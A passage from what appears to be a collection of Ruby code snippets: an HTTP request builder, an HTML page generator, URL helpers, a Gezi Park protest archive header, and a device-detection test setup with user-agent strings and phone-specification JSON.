\"\n\t\t@req_type = gets.chomp.upcase.strip\n\n\t\tif @req_type == \"GET\"\n\t\t\tprint \"Enter file name to get: \"\n\t\t\t@file_name = gets.chomp.strip\n\t\t\t@request = \"#{@req_type} #{@file_name} #{@version}\\r\\n\\r\\n\"\n\t\telsif @req_type == \"POST\"\n\t\t\t@file_name = \"some_script.cgi\" # this would be the program to handle the data sent with the POST\n\t\t\tfrom_field = \"From: [email protected]\" # example from\n\t\t\tuser_agent = \"User-Agent: HashTool/1.0\"\t#example user agent\n\t\t\tcontent_type = \"Content-Type: app/hash-form\" \t# example content-type\n\t\t\t\n\t\t\t# get hash data\n\t\t\tprint \"Enter name of viking: \"\n\t\t\tviking_name = gets.chomp.strip\n\t\t\tprint \"Enter email of viking: \"\n\t\t\tviking_email = gets.chomp.strip\n\t\t\t@viking_store = {\n\t\t\t\t\t\t\t\t\t:viking => {:name => viking_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t:email => viking_email}\n\t\t\t\t\t\t\t\t}\n\t\t\tcontent_length = \"Content-Length: #{@viking_store.to_s.length}\"\n\t\t\t@request = \"#{@req_type} #{@file_name} #{@version}\\r\\n#{from_field}\\r\\n#{user_agent}\\r\\n#{content_type}\\r\\n#{content_length}\\r\\n\\r\\n#{@viking_store.to_json}\"\n\t\telse\n\t\t\tputs \"Sorry, that's not a valid request type.\"\n\t\tend\n\tend", "def createPages(interface,data)\r\n page = interface.interface_name.first\r\n \r\n headerContent = \"#{@@headerFile1}\\n<title>#{page}</title>\\n<link rel='stylesheet' type='text/css' href='/stylesheets/swui.css' />\\n#{@@javascriptsFile}\\n\"\r\n \r\n footerContent = @@footerFile\r\n \r\n # References in a hash variable\r\n @references = Hash.new\r\n buffer = interface.interface_ref.first\r\n unless buffer.nil?\r\n buffer = buffer.split(\";\")\r\n buffer.each do |value| \r\n value=value.split(\"=\") \r\n @references[value[0]] = value[1]\r\n end\r\n end\r\n \r\n @bodyContent = \"\"\r\n # ajaxcontrolIds variable holds an array with the page ajaxcontrol ids \r\n @ajaxcontrolIds = Array.new\r\n @effectIds = Array.new\r\n @concreteInterfaceIds = Array.new\r\n @eventData = \"// Retrieves the events specification embedded in the page code \\n function readEvents(interfaceName) { \\n\"\r\n @animData = \"// Retrieves the decorations specification embedded in the page code \\n function readDecorations(interfaceName) { \\n\"\r\n @transData = \"// Retrieves the transitions specification embedded in the page code \\n function readTransitions(interfaceName) { \\n\"\r\n success = printInterface(page,interface.concrete_code.first, interface.ajaxcontrols.first, interface.concrete_interfaces.first, interface.effects.first, data)\r\n @eventData << \" return '' \\n}\\n\"\r\n @animData << \" return '' \\n}\\n\"\r\n @transData << \" return '' \\n}\\n\"\r\n @bodyContent << \"\\n\"\r\n @bodyContent << \"<script type='text/javascript'> \\n\"\r\n @bodyContent << printAjaxcontrolJS\r\n @bodyContent << printEffectJS\r\n @bodyContent << \"// Call updateInterface function \\n\"\r\n @bodyContent << \"function callUpdateInterfaces() { \\n\"\r\n if (success)\r\n @bodyContent << \"updateInterfaces('#{page}');\\n\" \r\n end\r\n @bodyContent << \"}\\n\"\r\n if (success)\r\n @bodyContent << \"// Retrieves the JSON Context or Index data embedded in the page code \\n\"\r\n @bodyContent << \"function readJSONData(interfaceName) { \\n\"\r\n @bodyContent << \"if (interfaceName == '#{page}') { \\n\"\r\n @bodyContent << \"return #{data.inspect} \\n\" \r\n @bodyContent << \"} \\n\"\r\n @bodyContent << \"return '' \\n\"\r\n @bodyContent << \"}\\n\"\r\n @bodyContent << @eventData\r\n @bodyContent << @animData\r\n @bodyContent << @transData\r\n end\r\n @bodyContent << \"</script>\"\r\n headerContent << printEffectDep\r\n headerContent << printAjaxControlDep\r\n headerContent << printCSS \r\n headerContent << @@headerFile2\r\n @output = \"#{headerContent}\\n#{@bodyContent}\\n#{footerContent}\"\r\n \r\n end", "def url(source)\n h.purchase_url purchase.user.handle,purchase.handle,:src => source\n end", "def gezi_parki_header(target_url, has_days=true)\n\ts = '<div id=\"header\">'\n \ts += '<a href=\"https://twitter.com/showdiscontent\">'\n \ts += '<span class=\"subtitle twitter-account\">@showdiscontent</span>'\n \ts += '</a><span class=\"subtitle\"> - A record of</span>'\n \ts += '<span class=\"title\"> <a href=\"/archive/gezi-parki/\">Taksim Gezi Park</a> </span>'\n \ts += '<span class=\"subtitle\">protest meetings.</span>'\n \tif has_days\n\t \ts += '<span class=\"day-links\"> Day '\n\t \t[\n\t \t\t\"2013-05-27,28,29/#27\",\n\t \t\t\"2013-05-27,28,29/#28\",\n\t \t\t\"2013-05-27,28,29/#29\",\n\t \t\t\"2013-05-30/\",\n\t \t\t\"2013-05-31/\",\n\t \t\t\"2013-06-01/\",\n\t \t\t\"2013-06-02/\",\n\t \t\t\"2013-06-03/\",\n\t \t\t\"2013-06-04/\",\n\t \t\t\"2013-06-05/\",\n\t \t\t\"2013-06-06/\",\n\t \t\t\"2013-06-07/\",\n\t \t\t\"2013-06-08/\",\n\t \t\t\"2013-06-09/\",\n\t \t\t\"2013-06-10/\",\n\t \t\t\"2013-06-11/\",\n\t \t\t\"2013-06-12/\",\n\t \t\t\"2013-06-13/\",\n\t \t\t\"2013-06-14/\"\n\t \t].each_with_index { |url, idx|\n\t \t\tbase_url = url.sub(/\\/.*$/, \"/\")\n\t \t\tactive = (base_url == target_url) ? \"hi\" : \"lo\"\n\t \t\ts += \", \" if idx > 0\n\t \t\ts += \"<a class='#{active}' href='/archive/gezi-parki/#{url}'>#{idx+1}</a>\"\n\t \t}\n\t \ts += \".</span>\"\n \tend\n \ts += \"</div>\"\n \ts\nend", "def lease_break_url(string)\n\tformated_string = string.gsub(\" \", \"+\")\n\tCLURL + \"?\" + \"query=\" + formated_string\nend", "def setup\t\t\r\n\t\t@notFoundHeaders = ['Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; AskTbFWV5/5.12.2.16749; 978803803','Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 ( .NET CLR 3.5.30729) Swapper 1.0.4','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Sky Broadband; GTB7.1; SeekmoToolbar 4.8.4; Sky Broadband; Sky Broadband; AskTbBLPV5/5.9.1.14019)']\r\n\r\n\t\t@h1 = Hash.new\r\n\t\t@h1['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[3373773858] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h1['x-wap-profile'] = 'http://www-ccpp.tcl-ta.com/files/ALCATEL_one_touch_908.xml'\r\n\t\t@h1['match'] = 'AlcatelOT-908222'\r\n\r\n\t\t@h2 = Hash.new\r\n\t\t@h2['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[3373773858] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h2['match'] = 'SamsungSCH-M828C'\r\n\r\n\t\t@h3 = Hash.new\r\n\t\t@h3['x-wap-profile'] = 'http://www-ccpp.tcl-ta.com/files/ALCATEL_one_touch_908.xml'\r\n\t\t@h3['match'] = 'AlcatelOT-90822'\r\n\r\n\t\t@h4 = Hash.new\r\n\t\t@h4['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; es-es; GT-P1000N Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h4['x-wap-profile'] = 'http://wap.samsungmobile.com/uaprof/GT-P1000.xml'\r\n\t\t@h4['match'] = 'SamsungGT-P1000'\r\n\r\n\t\t@h5 = Hash.new\r\n\t\t@h5['user-agent'] = 'Opera/9.80 (J2ME/MIDP; Opera Mini/5.21076/26.984; U; en) Presto/2.8.119 Version/10.54'\r\n\t\t@h5['match'] = 'GenericOperaMini'\r\n\r\n\t\t@h6 = Hash.new\r\n\t\t@h6['user-agent'] = 'Opera/9.80 (iPhone; Opera Mini/6.1.15738/26.984; U; tr) Presto/2.8.119 Version/10.54'\r\n\t\t@h6['match'] = 'AppleiPhone'\r\n\r\n\t\t@h7 = Hash.new\r\n\t\t@h7['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.1-update1; cs-cz; SonyEricssonX10i Build/2.1.B.0.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17'\r\n\t\t@h7['match'] = 'SonyEricssonX10I'\r\n\r\n\t\t@nokiaN95 = \"{\\\"general_vendor\\\":\\\"Nokia\\\",\\\"general_model\\\":\\\"N95\\\",\\\"general_platform\\\":\\\"Symbian\\\",\\\"general_platform_version\\\":\\\"9.2\\\",\\\"general_browser\\\":\\\"\\\",\\\"general_browser_version\\\":\\\"\\\",\\\"general_image\\\":\\\"nokian95-1403496370-0.gif\\\",\\\"general_aliases\\\":[],\\\"general_eusar\\\":\\\"0.50\\\",\\\"general_battery\\\":[\\\"Li-Ion 950 mAh\\\",\\\"BL-5F\\\"],\\\"general_type\\\":\\\"Mobile\\\",\\\"general_cpu\\\":[\\\"Dual ARM 11\\\",\\\"332MHz\\\"],\\\"design_formfactor\\\":\\\"Dual Slide\\\",\\\"design_dimensions\\\":\\\"99 x 53 x 21\\\",\\\"design_weight\\\":\\\"120\\\",\\\"design_antenna\\\":\\\"Internal\\\",\\\"design_keyboard\\\":\\\"Numeric\\\",\\\"design_softkeys\\\":\\\"2\\\",\\\"design_sidekeys\\\":[\\\"Volume\\\",\\\"Camera\\\"],\\\"display_type\\\":\\\"TFT\\\",\\\"display_color\\\":\\\"Yes\\\",\\\"display_colors\\\":\\\"16M\\\",\\\"display_size\\\":\\\"2.6\\\\\\\"\\\",\\\"display_x\\\":\\\"240\\\",\\\"display_y\\\":\\\"320\\\",\\\"display_other\\\":[],\\\"memory_internal\\\":[\\\"160MB\\\",\\\"64MB RAM\\\",\\\"256MB ROM\\\"],\\\"memory_slot\\\":[\\\"microSD\\\",\\\"8GB\\\",\\\"128MB\\\"],\\\"network\\\":[\\\"GSM850\\\",\\\"GSM900\\\",\\\"GSM1800\\\",\\\"GSM1900\\\",\\\"UMTS2100\\\",\\\"HSDPA2100\\\",\\\"Infrared\\\",\\\"Bluetooth 2.0\\\",\\\"802.11b\\\",\\\"802.11g\\\",\\\"GPRS Class 10\\\",\\\"EDGE Class 32\\\"],\\\"media_camera\\\":[\\\"5MP\\\",\\\"2592x1944\\\"],\\\"media_secondcamera\\\":[\\\"QVGA\\\"],\\\"media_videocapture\\\":[\\\"VGA@30fps\\\"],\\\"media_videoplayback\\\":[\\\"MPEG4\\\",\\\"H.263\\\",\\\"H.264\\\",\\\"3GPP\\\",\\\"RealVideo 8\\\",\\\"RealVideo 9\\\",\\\"RealVideo 10\\\"],\\\"media_audio\\\":[\\\"MP3\\\",\\\"AAC\\\",\\\"AAC+\\\",\\\"eAAC+\\\",\\\"WMA\\\"],\\\"media_other\\\":[\\\"Auto focus\\\",\\\"Video stabilizer\\\",\\\"Video calling\\\",\\\"Carl Zeiss optics\\\",\\\"LED Flash\\\"],\\\"features\\\":[\\\"Unlimited entries\\\",\\\"Multiple numbers per contact\\\",\\\"Picture ID\\\",\\\"Ring ID\\\",\\\"Calendar\\\",\\\"Alarm\\\",\\\"To-Do\\\",\\\"Document viewer\\\",\\\"Calculator\\\",\\\"Notes\\\",\\\"UPnP\\\",\\\"Computer sync\\\",\\\"VoIP\\\",\\\"Music ringtones (MP3)\\\",\\\"Vibration\\\",\\\"Phone profiles\\\",\\\"Speakerphone\\\",\\\"Accelerometer\\\",\\\"Voice dialing\\\",\\\"Voice commands\\\",\\\"Voice recording\\\",\\\"Push-to-Talk\\\",\\\"SMS\\\",\\\"MMS\\\",\\\"Email\\\",\\\"Instant Messaging\\\",\\\"Stereo FM radio\\\",\\\"Visual radio\\\",\\\"Dual slide design\\\",\\\"Organizer\\\",\\\"Word viewer\\\",\\\"Excel viewer\\\",\\\"PowerPoint viewer\\\",\\\"PDF viewer\\\",\\\"Predictive text input\\\",\\\"Push to talk\\\",\\\"Voice memo\\\",\\\"Games\\\"],\\\"connectors\\\":[\\\"USB\\\",\\\"MiniUSB\\\",\\\"3.5mm Audio\\\",\\\"TV Out\\\"],\\\"general_platform_version_max\\\":\\\"\\\",\\\"general_app\\\":\\\"\\\",\\\"general_app_version\\\":\\\"\\\",\\\"general_language\\\":\\\"\\\",\\\"display_ppi\\\":154,\\\"display_pixel_ratio\\\":\\\"1.0\\\",\\\"benchmark_min\\\":0,\\\"benchmark_max\\\":0,\\\"general_app_category\\\":\\\"\\\"}\"\r\n\t\t@nokiaN9 = \"{\\\"general_vendor\\\":\\\"nokia\\\",\\\"general_model\\\":\\\"n9\\\",\\\"general_platform\\\":\\\"meego\\\",\\\"general_platform_version\\\":\\\"1.2\\\",\\\"general_browser\\\":\\\"\\\",\\\"general_browser_version\\\":\\\"\\\",\\\"general_image\\\":\\\"\\\",\\\"general_aliases\\\":[\\\"nokia n9-00\\\",\\\"nokia n9 lankku\\\"],\\\"general_eusar\\\":\\\"1.16\\\",\\\"general_battery\\\":[\\\"li-ion 1450 mah\\\",\\\"bv-5jw\\\"],\\\"general_type\\\":\\\"mobile\\\",\\\"general_cpu\\\":[\\\"1.0ghz\\\"],\\\"design_formfactor\\\":\\\"bar\\\",\\\"design_dimensions\\\":\\\"116.45 x 61.2 x 12.1\\\",\\\"design_weight\\\":\\\"135\\\",\\\"design_antenna\\\":\\\"internal\\\",\\\"design_keyboard\\\":\\\"screen\\\",\\\"design_softkeys\\\":\\\"\\\",\\\"design_sidekeys\\\":[\\\"volume\\\",\\\"lock\\\"],\\\"display_type\\\":\\\"amoled\\\",\\\"display_color\\\":\\\"yes\\\",\\\"display_colors\\\":\\\"16m\\\",\\\"display_size\\\":\\\"3.9\\\\\\\"\\\",\\\"display_x\\\":\\\"480\\\",\\\"display_y\\\":\\\"854\\\",\\\"display_other\\\":[\\\"capacitive\\\",\\\"touch\\\",\\\"multitouch\\\",\\\"gorilla glass\\\"],\\\"memory_internal\\\":[\\\"16gb\\\",\\\"64gb\\\",\\\"1gb ram\\\"],\\\"memory_slot\\\":[],\\\"network\\\":[\\\"gsm850\\\",\\\"gsm900\\\",\\\"gsm1800\\\",\\\"gsm1900\\\",\\\"umts850\\\",\\\"umts900\\\",\\\"umts1700\\\",\\\"umts2100\\\",\\\"umts1900\\\",\\\"hsdpa850\\\",\\\"hsdpa900\\\",\\\"hsdpa1700\\\",\\\"hsdpa1900\\\",\\\"hsdpa2100\\\",\\\"nfc\\\",\\\"bluetooth 2.1\\\",\\\"802.11a\\\",\\\"802.11b\\\",\\\"802.11g\\\",\\\"802.11n\\\",\\\"gprs class 33\\\",\\\"edge class 33\\\"],\\\"media_camera\\\":[\\\"8mp\\\",\\\"3264x2448\\\"],\\\"media_secondcamera\\\":[\\\"yes\\\"],\\\"media_videocapture\\\":[\\\"720p@30fps\\\"],\\\"media_videoplayback\\\":[\\\"mpeg4\\\",\\\"h.263\\\",\\\"h.264\\\",\\\"xvid\\\",\\\"wmv\\\",\\\"avi\\\",\\\"3gpp\\\",\\\"flash video\\\"],\\\"media_audio\\\":[\\\"mp3\\\",\\\"aac\\\",\\\"eaac\\\",\\\"aac+\\\",\\\"eaac+\\\",\\\"flac\\\",\\\"wma\\\",\\\"wav\\\",\\\"m4a\\\",\\\"amr\\\",\\\"ogg\\\"],\\\"media_other\\\":[\\\"auto focus\\\",\\\"face detection\\\",\\\"exposure control\\\",\\\"white balance\\\",\\\"digital zoom\\\",\\\"geo-tagging\\\",\\\"continuous autofocus in a video\\\",\\\"video calling\\\",\\\"carl zeiss optics\\\",\\\"touch focus\\\",\\\"dual led flash\\\"],\\\"features\\\":[\\\"unlimited entries\\\",\\\"caller groups\\\",\\\"multiple numbers per contact\\\",\\\"search by both first and last name\\\",\\\"picture id\\\",\\\"ring id\\\",\\\"calendar\\\",\\\"alarm\\\",\\\"to-do\\\",\\\"document viewer\\\",\\\"office 2007 viewer\\\",\\\"office 2003 viewer\\\",\\\"pdf viewer\\\",\\\"other\\\",\\\"open document viewer\\\",\\\"calculator\\\",\\\"mass storage device\\\",\\\"usb charging\\\",\\\"computer sync\\\",\\\"ota sync\\\",\\\"music ringtones (mp3)\\\",\\\"polyphonic ringtones\\\",\\\"vibration\\\",\\\"flight mode\\\",\\\"silent mode\\\",\\\"speakerphone\\\",\\\"accelerometer\\\",\\\"compass\\\",\\\"voice recording\\\",\\\"light sensor\\\",\\\"proximity sensor\\\",\\\"sms\\\",\\\"threaded viewer\\\",\\\"mms\\\",\\\"email\\\",\\\"push email\\\",\\\"im\\\",\\\"microsim card support only\\\",\\\"sns integration\\\",\\\"active noise cancellation with dedicated mic\\\",\\\"dolby digital plus\\\",\\\"word viewer\\\",\\\"excel viewer\\\",\\\"powerpoint viewer\\\",\\\"video/photo editor\\\",\\\"voice memo\\\",\\\"voice command\\\",\\\"voice dialing\\\",\\\"predictive text input (swype)\\\",\\\"games\\\"],\\\"connectors\\\":[\\\"usb 2.0\\\",\\\"microusb\\\",\\\"3.5mm audio\\\",\\\"tv out\\\"],\\\"general_language\\\":\\\"\\\",\\\"general_platform_version_max\\\":\\\"\\\",\\\"general_app\\\":\\\"\\\",\\\"general_app_version\\\":\\\"\\\",\\\"display_ppi\\\":251,\\\"display_pixel_ratio\\\":\\\"1.0\\\",\\\"benchmark_min\\\":0,\\\"benchmark_max\\\":0,\\\"general_app_category\\\":\\\"\\\"}\"\r\n\t\t@AlcatelOT_908222 = '{\"general_vendor\":\"Alcatel\",\"general_model\":\"OT-908\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"Alcatel One Touch 908\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1300 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"600Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"110 x 57.4 x 12.4\",\"design_weight\":\"120\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Lock/Unlock\",\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"2.8\\\"\",\"display_x\":\"240\",\"display_y\":\"320\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"150MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS Class 12\",\"EDGE Class 12\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[\"MPEG4\",\"H.263\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones (64 voices)\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Compass\",\"Voice recording\",\"SMS\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Stereo FM radio with RDS\",\"SNS integration\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Organizer\",\"Document viewer\",\"Voice memo\",\"Voice dialing\",\"Predictive text input\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@SamsungSCH_M828C = '{\"general_vendor\":\"Samsung\",\"general_model\":\"SCH-M828C\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsungsch-m828c-1355919519-0.jpg\",\"general_aliases\":[\"Samsung Galaxy Prevail\",\"Samsung Galaxy Precedent\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1500 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"800Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"113 x 57 x 12\",\"design_weight\":\"108\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"3.2\\\"\",\"display_x\":\"320\",\"display_y\":\"480\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Touch Buttons\"],\"memory_internal\":[\"117MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"CDMA800\",\"CDMA1900\",\"Bluetooth 3.0\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"QVGA\"],\"media_videoplayback\":[\"MP3\",\"WAV\",\"eAAC+\"],\"media_audio\":[\"MP4\",\"H.264\",\"H.263\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice dialing\",\"Voice recording\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Organizer\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Voice memo\",\"Predictive text input (Swype)\",\"Games\"],\"connectors\":[\"USB\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@AlcatelOT_90822 = '{\"general_vendor\":\"Alcatel\",\"general_model\":\"OT-908\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"Alcatel One Touch 908\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1300 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"600Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"110 x 57.4 x 12.4\",\"design_weight\":\"120\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Lock/Unlock\",\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"2.8\\\"\",\"display_x\":\"240\",\"display_y\":\"320\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"150MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS Class 12\",\"EDGE Class 12\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[\"MPEG4\",\"H.263\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones (64 voices)\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Compass\",\"Voice recording\",\"SMS\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Stereo FM radio with RDS\",\"SNS integration\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Organizer\",\"Document viewer\",\"Voice memo\",\"Voice dialing\",\"Predictive text input\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\t\t\r\n\t\t@SamsungGT_P1000 = '{\"general_vendor\":\"Samsung\",\"general_model\":\"GT-P1000\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsunggt-p1000-1368755043-0.jpg\",\"general_aliases\":[\"Samsung Galaxy Tab\"],\"general_eusar\":\"1.07\",\"general_battery\":[\"Li-Ion 4000 mAh\"],\"general_type\":\"Tablet\",\"general_cpu\":[\"1000Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"190.1 x 120.45 x 11.98\",\"design_weight\":\"380\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"16M\",\"display_size\":\"7\\\"\",\"display_x\":\"1024\",\"display_y\":\"600\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Touch Buttons\",\"Gorilla Glass\",\"TouchWiz\"],\"memory_internal\":[\"16GB\",\"32GB\",\"512MB RAM\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS1900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA1900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS\",\"EDGE\"],\"media_camera\":[\"3.15MP\",\"2048x1536\"],\"media_secondcamera\":[\"1.3MP\"],\"media_videocapture\":[\"720x480@30fps\"],\"media_videoplayback\":[\"MPEG4\",\"H.264\",\"DivX\",\"XviD\"],\"media_audio\":[\"MP3\",\"AAC\",\"FLAC\",\"WMA\",\"WAV\",\"AMR\",\"OGG\",\"MIDI\"],\"media_other\":[\"Auto focus\",\"Video calling\",\"Geo-tagging\",\"LED Flash\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"DLNA\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice commands\",\"Voice recording\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push Mail\",\"IM\",\"RSS\",\"Social networking integration\",\"Full HD video playback\",\"Up to 7h movie playback\",\"Organizer\",\"Image/video editor\",\"Thinkfree Office\",\"Word viewer\",\"Excel viewer\",\"PowerPoint viewer\",\"PDF viewer\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Readers/Media/Music Hub\",\"Voice memo\",\"Voice dialing\",\"Predictive text input (Swype)\",\"Games\"],\"connectors\":[\"USB\",\"3.5mm Headphone\",\"TV Out\",\"MHL\"],\"general_language\":\"\"}'\t\t\r\n\t\t@GenericOperaMini = '{\"general_vendor\":\"Generic\",\"general_model\":\"Opera Mini 5\",\"general_platform\":\"\",\"general_platform_version\":\"\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[],\"general_eusar\":\"\",\"general_battery\":[],\"general_type\":\"Mobile\",\"general_cpu\":[],\"design_formfactor\":\"\",\"design_dimensions\":\"\",\"design_weight\":\"\",\"design_antenna\":\"\",\"design_keyboard\":\"\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"\",\"display_color\":\"\",\"display_colors\":\"\",\"display_size\":\"\",\"display_x\":\"176\",\"display_y\":\"160\",\"display_other\":[],\"memory_internal\":[],\"memory_slot\":[],\"network\":[],\"media_camera\":[],\"media_secondcamera\":[],\"media_videocapture\":[],\"media_videoplayback\":[],\"media_audio\":[],\"media_other\":[],\"features\":[],\"connectors\":[]}'\r\n\t\t@AppleiPhone = '{\"general_vendor\":\"Apple\",\"general_model\":\"iPhone\",\"general_platform\":\"iOS\",\"general_image\":\"apple^iphone.jpg\",\"general_aliases\":[],\"general_eusar\":\"0.97\",\"general_battery\":[\"Li-Ion 1400 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"ARM 11\",\"412Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"115 x 61 x 